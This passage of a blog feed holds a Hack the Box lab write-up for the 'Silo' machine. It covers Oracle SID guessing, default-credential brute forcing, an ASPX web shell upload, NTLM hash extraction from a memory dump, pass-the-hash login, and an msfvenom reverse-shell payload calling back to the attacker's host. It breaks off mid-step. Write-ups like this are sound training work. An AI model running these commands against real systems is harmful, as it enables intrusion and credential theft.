Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux # cat /root/root.txt ba1d0...[snip]... Looking at root’s crontab we can see how it was happening # crontab -l # Edit this file to introduce tasks to be run by cron. ...[snip].... # # m h dom mon dow command */5 * * * * python /home/sun/Documents/script.py &amp;gt; /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d &quot;$(date -R -r /home/sun/Documents/user.txt)&quot; /home/sun/Documents/script.py</summary></entry><entry><title type="html">Hack the Box - Silo Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/08/04/hackthebox-silo-writeup/" rel="alternate" type="text/html" title="Hack the Box - Silo  Write up" /><published>2018-08-04T00:00:00-04:00</published><updated>2018-08-04T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/08/04/hackthebox-silo-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/08/04/hackthebox-silo-writeup/">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://dastinia.io/assets/images/htb/silo/1.png&quot; alt=&quot;silo&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;This is probably one of the few times I voluntarily attempted to take a crack at attacking an oracle database server. I’ve had a little experience messing around with oracle databases at work, but I can’t say I knew much or anything at all about them. This box was pretty valuable to me since I got to learn some techniques and tactics about how to attack oracle databases. Once you got over the first hurdle silo wasn’t an overly obtuse box.&lt;/p&gt;

&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/rapid7/metasploit-framework&quot;&gt;Metasploit Framework&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/msfvenom/&quot;&gt;Msfvenom&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/CoreSecurity/impacket&quot;&gt;Impacket&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.volatilityfoundation.org/&quot;&gt;Volatility&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;pth-winexe&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;initial-scanning&quot;&gt;Initial Scanning&lt;/h3&gt;
&lt;p&gt;Like with every box let’s begin with a scan of the machine Silo (10.10.10.82). I’ve started to really enjoy using HTB almot’s &lt;a href=&quot;https://github.com/Alamot/code-snippets/blob/master/enum/htbscan.py&quot;&gt;htbscan.py&lt;/a&gt; script.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Nmap 7.70 scan initiated Sun Jun 24 11:48:59 2018 as: nmap -sV -A -v -p49158,49153,1521,80,139,49161,49160,5985,49155,135,49154,49162,47001,445 -oA nmap/open_ports 10.10.10.82
Nmap scan report for 10.10.10.82
Host is up (0.15s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp  open  oracle-tns   Oracle TNS listener 11.2.0.2.0 (unauthorized)
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
49160/tcp open  oracle-tns   Oracle TNS listener (requires service name)
49161/tcp open  msrpc        Microsoft Windows RPC
49162/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (96%), Microsoft Windows Server 2012 R2 (96%), Microsoft Windows Server 2012 R2 Update 1 (96%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (96%), Microsoft Windows Vista SP1 (96%), Microsoft Windows Server 2012 or Server 2012 R2 (95%), Microsoft Windows Server 2008 SP2 Datacenter Version (94%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (93%), Microsoft Windows Server 2008 SP1 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.074 days (since Sun Jun 24 10:05:06 2018)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: supported
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2018-06-24 11:51:05
|_  start_date: 2018-06-24 10:05:23

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   155.91 ms 10.10.14.1
2   154.66 ms 10.10.10.82

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 24 11:51:27 2018 -- 1 IP address (1 host up) scanned in 148.15 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We see some interesting services listening right off the back that will be interesting to investigate, which includes an Oracle TNS Listener (oracle database), SMB on port 445, and a web service.&lt;/p&gt;

&lt;h3 id=&quot;enumeration-1&quot;&gt;Enumeration&lt;/h3&gt;

&lt;h3 id=&quot;enumerating-iis---port-80&quot;&gt;Enumerating IIS - Port 80&lt;/h3&gt;

&lt;p&gt;We attempt to discover hidden directories or content, but that comes up with nothing valuable.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/silo# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u  http://10.10.10.82 -x asp,aspx -s 200,204,301,302,307,403 -t 100 | tee gobuster_silo

Gobuster v1.2                OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.82/
[+] Threads      : 100
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 301,302,307,403,200,204
[+] Extensions   : .asp,.aspx
=====================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;enumerating-oracle-db---port-1521&quot;&gt;Enumerating Oracle DB - Port 1521&lt;/h3&gt;

&lt;p&gt;I wrote quick &lt;a href=&quot;https://dastinia.io/tutorial/2018/07/31/installing-oracle-database-attacking-tool-on-kali/&quot;&gt;ODAT Installation tutorial&lt;/a&gt; a few days prior since some people were having issues installing ODAT on kali.&lt;/p&gt;

&lt;p&gt;ODAT is an open source penetration testing tool targeted at attacking, and auditing the security of Oracle Database servers.&lt;/p&gt;

&lt;p&gt;After I read up on some Oracle Database attacking methodologies:&lt;/p&gt;

&lt;p&gt;[1] - &lt;a href=&quot;https://www.slideshare.net/martintoshev/oracle-database-12c-attack-vectors&quot;&gt;https://www.slideshare.net/martintoshev/oracle-database-12c-attack-vectors&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[2] - &lt;a href=&quot;https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/&quot;&gt;https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[3] - &lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf&quot;&gt;http://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;[4] - &lt;a href=&quot;http://pentestdiary.blogspot.com/2017/08/oracle-database-penetration-testing.html&quot;&gt;http://pentestdiary.blogspot.com/2017/08/oracle-database-penetration-testing.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The general idea methodology that I took away from it was that we needed to:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Enumerate Oracle Database Version&lt;/li&gt;
  &lt;li&gt;Discover &lt;a href=&quot;https://stackoverflow.com/questions/43866/how-sid-is-different-from-service-name-in-oracle-tnsnames-ora&quot;&gt;SIDs&lt;/a&gt; (Basically oracles version a unique ‘database instance’)&lt;/li&gt;
  &lt;li&gt;obtain a user account (likely through bruteforcing)&lt;/li&gt;
  &lt;li&gt;Exploitation / privesc as needed.&lt;/li&gt;
  &lt;li&gt;Repeat&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;From our Nmap scan we already know that the oracle database is running version &lt;code class=&quot;highlighter-rouge&quot;&gt;11.2.0.2.0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We can use ODAT’s &lt;code class=&quot;highlighter-rouge&quot;&gt;siguesser&lt;/code&gt; to discover well&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/odat# ./odat.py sidguesser -s 10.10.10.82

[1] (10.10.10.82:1521): Searching valid SIDs
[1.1] Searching valid SIDs thanks to a well known SID list on the 10.10.10.82:1521 server
[+] 'SAMPLE' is a valid SID. Continue...
[+] 'SCAN4' is a valid SID. Continue...
[+] 'XE' is a valid SID. Continue...
[+] 'XEXDB' is a valid SID. Continue...
100% |###################################################################################################################################################################################################################################################################################################| Time: 00:10:55
[1.2] Searching valid SIDs thanks to a brute-force attack on 1 chars now (10.10.10.82:1521)
100% |###################################################################################################################################################################################################################################################################################################| Time: 00:00:12
[1.3] Searching valid SIDs thanks to a brute-force attack on 2 chars now (10.10.10.82:1521)
[+] 'XE' is a valid SID. Continue...
100% |###################################################################################################################################################################################################################################################################################################| Time: 00:07:31
[+] SIDs found on the 10.10.10.82:1521 server: SAMPLE,SCAN4,XE,XEXDB
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We can use the metasploit module &lt;code class=&quot;highlighter-rouge&quot;&gt;msf &amp;gt; use admin/oracle/oracle_login&lt;/code&gt; to bruteforce SIDS&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use admin/oracle/oracle_login
msf auxiliary(admin/oracle/oracle_login) &amp;gt;
msf auxiliary(admin/oracle/oracle_login) &amp;gt; options

Module options (auxiliary/admin/oracle/oracle_login):

   Name     Current Setting                                                              Required  Description
   ----     ---------------                                                              --------  -----------
   CSVFILE  /usr/share/metasploit-framework/data/wordlists/oracle_default_passwords.csv  no        The file that contains a list of default accounts.
   RHOST                                                                                 yes       The Oracle host.
   RPORT    1521                                                                         yes       The TNS port.
   SID      ORCL                                                                         yes       The sid to authenticate with.

msf auxiliary(admin/oracle/oracle_login) &amp;gt; set RHOST 10.10.10.82
RHOST =&amp;gt; 10.10.10.82
msf auxiliary(admin/oracle/oracle_login) &amp;gt; set SID XE
SID =&amp;gt; XE
msf auxiliary(admin/oracle/oracle_login) &amp;gt; run -j
[*] Auxiliary module running as background job 0.

[*] Starting brute force on 10.10.10.82:1521...
[+] Found user/pass of: scott/tiger on 10.10.10.82 with sid XE
[*] Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;You will discover that there is a valid user account for &lt;code class=&quot;highlighter-rouge&quot;&gt;scott:tiger&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We also discover that we can connect to the database as &lt;code class=&quot;highlighter-rouge&quot;&gt;SYSDBA&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;failed connection as sysoper&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/odat# sqlplus SCOTT/tiger@10.10.10.82/XE as sysoper

SQL*Plus: Release 12.1.0.2.0 Production on Sat Aug 4 16:14:55 2018

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

ERROR:
ORA-01031: insufficient privileges


Enter user-name:
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;connecting as sysdba&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/odat# sqlplus SCOTT/tiger@10.10.10.82/XE as sysdba

SQL*Plus: Release 12.1.0.2.0 Production on Sat Aug 4 16:15:23 2018

Copyright (c) 1982, 2014, Oracle.  All rights reserved.


Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;

&lt;p&gt;From reading over the modules there seemed to be a few modules we could attempt to leverage for code execution, or arbitrary file upload/read.&lt;/p&gt;

&lt;p&gt;The ODAT developer was extremely nice to provide a &lt;a href=&quot;https://github.com/quentinhardy/odat/wiki&quot;&gt;wiki&lt;/a&gt; of all the modules, and some examples:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/quentinhardy/odat/wiki/utlfile&quot;&gt;utlfile&lt;/a&gt; - Allows us to upload/download files from our local machine to the remote machine&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/quentinhardy/odat/wiki/externaltable&quot;&gt;externaltabe&lt;/a&gt; - allows us to execute a binary with the priviledges of the Oracle database server (only if the binary is stored on the server)&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/quentinhardy/odat/wiki/ctxsys&quot;&gt;ctxsys&lt;/a&gt; - Read file from the local server&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/quentinhardy/odat/wiki/dbmsadvisor&quot;&gt;dbmsadvisor&lt;/a&gt; - upload file to the local server&lt;/p&gt;

&lt;p&gt;So some attack paths we can take:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Since a web service is running on the box we can upload a web shell (aspx) to interact with the server&lt;/li&gt;
  &lt;li&gt;Upload binary payload like something generated with msfvenom, and execute it.&lt;/li&gt;
  &lt;li&gt;Read potentially sensitive files which we can use to attempt to utilize for further privilege escalation.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I used the first method since we will end up discovering that the oracle database was running with &lt;code class=&quot;highlighter-rouge&quot;&gt;system&lt;/code&gt; privileges.&lt;/p&gt;

&lt;p&gt;I used the following aspx web shell, and uploaded to the well-known default IIS web root directory &lt;code class=&quot;highlighter-rouge&quot;&gt;C:\inetpub\wwwroot&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/odat# ./odat.py utlfile -s 10.10.10.82 -d XE -U SCOTT -P tiger --putFile 'C:\inetpub\wwwroot\' 'shell.aspx' /root/htb/silo/silo_shell.aspx --sysdba

[1] (10.10.10.82:1521): Put the /root/htb/silo/silo_shell.aspx local file in the C:\inetpub\wwwroot\ folder like shell.aspx on the 10.10.10.82 server
[+] The /root/htb/silo/silo_shell.aspx file was created on the C:\inetpub\wwwroot\ directory on the 10.10.10.82 server like the shell.aspx file

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/silo/3.png&quot; alt=&quot;&amp;quot;Silo Web shell&amp;quot;&quot; title=&quot;Silo Web shell&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/silo/2.png&quot; alt=&quot;&amp;quot;Dropbox Memory Dump Message&amp;quot;&quot; title=&quot;Dropbox Memory Dump Message&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;analyzing-memory-dump-with-volatility&quot;&gt;Analyzing Memory Dump with Volatility&lt;/h3&gt;

&lt;p&gt;We are given a dropbox link, and a password to access what appears to be a memory dump.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):

Dropbox link provided to vendor (and password under separate cover).

Dropbox link 
https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

link password:
£%Hm8646uC$
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Let’s begin analyzing this memory dump by inspecting the processes&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/Desktop# volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 pslist
RuntimeError: module compiled against API version 0xb but this version of numpy is 0xa
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xffffe00000089940 System                    4      0     84        0 ------      0 2018-01-05 22:17:14 UTC+0000
0xffffe00000c9c100 smss.exe                208      4      3        0 ------      0 2018-01-05 22:17:14 UTC+0000
0xffffe000034f54c0 csrss.exe               324    316     10        0      0      0 2018-01-05 22:17:15 UTC+0000
0xffffe000034ec380 csrss.exe               396    388     10        0      1      0 2018-01-05 22:17:16 UTC+0000
0xffffe000034ac940 wininit.exe             404    316      4        0      0      0 2018-01-05 22:17:16 UTC+0000
0xffffe00002fee080 winlogon.exe            448    388      5        0      1      0 2018-01-05 22:17:16 UTC+0000
0xffffe00003550940 services.exe            492    404     10        0      0      0 2018-01-05 22:17:16 UTC+0000
0xffffe00003ed4080 lsass.exe               500    404      6        0      0      0 2018-01-05 22:17:16 UTC+0000
0xffffe00003f22500 svchost.exe             560    492     15        0      0      0 2018-01-05 22:17:16 UTC+0000
0xffffe00003f39940 svchost.exe             604    492     15        0      0      0 2018-01-05 22:17:16 UTC+0000
0xffffe00003f6f680 dwm.exe                 688    448      9        0      1      0 2018-01-05 22:17:16 UTC+0000
0xffffe00003f68940 vmacthlp.exe            708    492      2        0      0      0 2018-01-05 22:17:16 UTC+0000
0xffffe00003fb9080 svchost.exe             764    492     16        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00003fcc940 svchost.exe             800    492     63        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00003fe3940 svchost.exe             832    492     20        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00004e267c0 svchost.exe             920    492     25        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00004e8d940 svchost.exe             340    492     16        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00004f2e940 spoolsv.exe             308    492     13        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00004f5c940 svchost.exe            1052    492     11        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00004f84940 oracle.exe             1088    492     30        0      0      0 2018-01-05 22:17:17 UTC+0000
0xffffe00004fe93c0 OraClrAgnt.exe         1192    492      2        0      0      0 2018-01-05 22:17:18 UTC+0000
0xffffe00004fef940 TNSLSNR.EXE            1208    492      5        0      0      0 2018-01-05 22:17:18 UTC+0000
0xffffe00004ff0300 agtctl.exe             1216   1192      0 --------      0      0 2018-01-05 22:17:18 UTC+0000   2018-01-05 22:17:18 UTC+0000
0xffffe00004ff3940 agtctl.exe             1264   1192      0 --------      0      0 2018-01-05 22:17:18 UTC+0000   2018-01-05 22:17:18 UTC+0000
0xffffe00004ffc440 svchost.exe            1272    492      4        0      0      0 2018-01-05 22:17:18 UTC+0000
0xffffe00004fff080 VGAuthService.         1324    492      3        0      0      0 2018-01-05 22:17:18 UTC+0000
0xffffe000060568c0 agtctl.exe             1348   1192      0 --------      0      0 2018-01-05 22:17:18 UTC+0000   2018-01-05 22:17:18 UTC+0000
0xffffe000060767c0 agtctl.exe             1388   1192      0 --------      0      0 2018-01-05 22:17:18 UTC+0000   2018-01-05 22:17:18 UTC+0000
0xffffe0000608f780 vmtoolsd.exe           1444    492      8        0      0      0 2018-01-05 22:17:18 UTC+0000
0xffffe000060a62c0 ManagementAgen         1492    492      9        0      0      0 2018-01-05 22:17:18 UTC+0000
0xffffe000060c7940 svchost.exe            1516    492     16        0      0      0 2018-01-05 22:17:19 UTC+0000
0xffffe00003051940 svchost.exe            2000    492      5        0      0      0 2018-01-05 22:17:27 UTC+0000
0xffffe00003077880 TPAutoConnSvc.         1256    492      8        0      0      0 2018-01-05 22:17:27 UTC+0000
0xffffe000030a1080 dllhost.exe            1432    492     21        0      0      0 2018-01-05 22:17:27 UTC+0000
0xffffe000030b7940 dllhost.exe            1600    492     17        0      0      0 2018-01-05 22:17:27 UTC+0000
0xffffe000030cd940 WmiPrvSE.exe           1440    560     12        0      0      0 2018-01-05 22:17:27 UTC+0000
0xffffe000030cf940 msdtc.exe              2052    492     13        0      0      0 2018-01-05 22:17:27 UTC+0000
0xffffe00003117940 VSSVC.exe              2228    492      7        0      0      0 2018-01-05 22:17:29 UTC+0000
0xffffe00003149080 sppsvc.exe             2284    492      5        0      0      0 2018-01-05 22:17:29 UTC+0000
0xffffe0000315f940 SppExtComObj.E         2312    560      5        0      0      0 2018-01-05 22:17:29 UTC+0000
0xffffe000061637c0 taskhostex.exe         2368    800      7        0      1      0 2018-01-05 22:17:33 UTC+0000
0xffffe00004e00680 explorer.exe           2424   2416     56        0      1      0 2018-01-05 22:17:33 UTC+0000
0xffffe00000df34c0 ServerManager.         2732   2376     24        0      1      0 2018-01-05 22:17:35 UTC+0000
0xffffe0000301c940 TPAutoConnect.         2824   1256      3        0      1      0 2018-01-05 22:17:37 UTC+0000
0xffffe00003f698c0 conhost.exe            2832   2824      1        0      1      0 2018-01-05 22:17:37 UTC+0000
0xffffe0000136d080 vmtoolsd.exe           2992   2424      8        0      1      0 2018-01-05 22:17:45 UTC+0000
0xffffe00003224540 WmiPrvSE.exe           3056    560     19        0      0      0 2018-01-05 22:17:47 UTC+0000
0xffffe00003239940 WmiPrvSE.exe           2340    560     10        0      0      0 2018-01-05 22:17:47 UTC+0000
0xffffe0000325c940 WmiApSrv.exe            864    492      5        0      0      0 2018-01-05 22:17:48 UTC+0000
0xffffe00003203340 DumpIt.exe             2932   2424      4        0      1      0 2018-01-05 22:18:06 UTC+0000
0xffffe00003f8c940 conhost.exe            2764   2932      2        0      1      0 2018-01-05 22:18:06 UTC+0000
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;It looks like the forensics tool &lt;code class=&quot;highlighter-rouge&quot;&gt;DumpIT&lt;/code&gt; was used to create this memory dump. Which likely means it was done with admin privileges.&lt;/p&gt;

&lt;p&gt;We can use the &lt;code class=&quot;highlighter-rouge&quot;&gt;hashdump&lt;/code&gt; volatility module to dump the hashes of the accounts stored on the system. This is the equivalent of doing a &lt;code class=&quot;highlighter-rouge&quot;&gt;hashdump&lt;/code&gt; with meterpreter. We just need to get the virtual offsets of the &lt;code class=&quot;highlighter-rouge&quot;&gt;SYSTEM&lt;/code&gt; &amp;amp; &lt;code class=&quot;highlighter-rouge&quot;&gt;SECURITY&lt;/code&gt; hives using the  &lt;code class=&quot;highlighter-rouge&quot;&gt;hivelist&lt;/code&gt; module first. Which happen to be &lt;code class=&quot;highlighter-rouge&quot;&gt;0xffffc00000028000&lt;/code&gt; &amp;amp;  &lt;code class=&quot;highlighter-rouge&quot;&gt;0xffffc00000619000&lt;/code&gt; respectively.)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/Desktop# volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hivelist
RuntimeError: module compiled against API version 0xb but this version of numpy is 0xa
Volatility Foundation Volatility Framework 2.6
Virtual            Physical           Name
------------------ ------------------ ----
0xffffc0000100a000 0x000000000d40e000 \??\C:\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0xffffc000011fb000 0x0000000034570000 \SystemRoot\System32\config\DRIVERS
0xffffc00001600000 0x000000003327b000 \??\C:\Windows\AppCompat\Programs\Amcache.hve
0xffffc0000001e000 0x0000000000b65000 [no name]
0xffffc00000028000 0x0000000000a70000 \REGISTRY\MACHINE\SYSTEM
0xffffc00000052000 0x000000001a25b000 \REGISTRY\MACHINE\HARDWARE
0xffffc000004de000 0x0000000024cf8000 \Device\HarddiskVolume1\Boot\BCD
0xffffc00000103000 0x000000003205d000 \SystemRoot\System32\Config\SOFTWARE
0xffffc00002c43000 0x0000000028ecb000 \SystemRoot\System32\Config\DEFAULT
0xffffc000061a3000 0x0000000027532000 \SystemRoot\System32\Config\SECURITY
0xffffc00000619000 0x0000000026cc5000 \SystemRoot\System32\Config\SAM
0xffffc0000060d000 0x0000000026c93000 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xffffc000006cf000 0x000000002688f000 \SystemRoot\System32\Config\BBI
0xffffc000007e7000 0x00000000259a8000 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xffffc00000fed000 0x000000000d67f000 \??\C:\Users\Administrator\ntuser.dat
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;dumping hashes&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/Desktop# volatility -f SILO-20180105-221806.dmp --profile=Win2012R2x64 hashdump -y 0xffffc00000028000 -s 0xffffc00000619000
RuntimeError: module compiled against API version 0xb but this version of numpy is 0xa
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Phineas:1002:aad3b435b51404eeaad3b435b51404ee:8eacdd67b77749e65d3b3d5c110b0969:::
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;getting-system&quot;&gt;Getting System&lt;/h3&gt;
&lt;p&gt;Now we can use the hashes we dumped with a tool like &lt;code class=&quot;highlighter-rouge&quot;&gt;pth-winexe&lt;/code&gt; on kali to get administrator privileges.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/Desktop# pth-winexe -U &quot;Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7:::&quot; //10.10.10.82 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
whoami
silo\administrator

C:\Windows\system32&amp;gt;
C:\Users\Administrator\Desktop&amp;gt;type root.txt
type root.txt
cd3...[redacted]....
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h3 id=&quot;getting-systemv2&quot;&gt;Getting Systemv2&lt;/h3&gt;

&lt;p&gt;We can use the &lt;code class=&quot;highlighter-rouge&quot;&gt;externaltable&lt;/code&gt; module to execute a binary (or command) against the system. Using a combination of impacket-smbserver + externaltable we can achieve remote code execution.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;generating our payload&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/serve/windows/kk# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=6969 -f exe &amp;gt; 6969.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Start up an &lt;code class=&quot;highlighter-rouge&quot;&gt;impacket-smbserver&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/serve/windows# impacket-smbserver kk kk
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
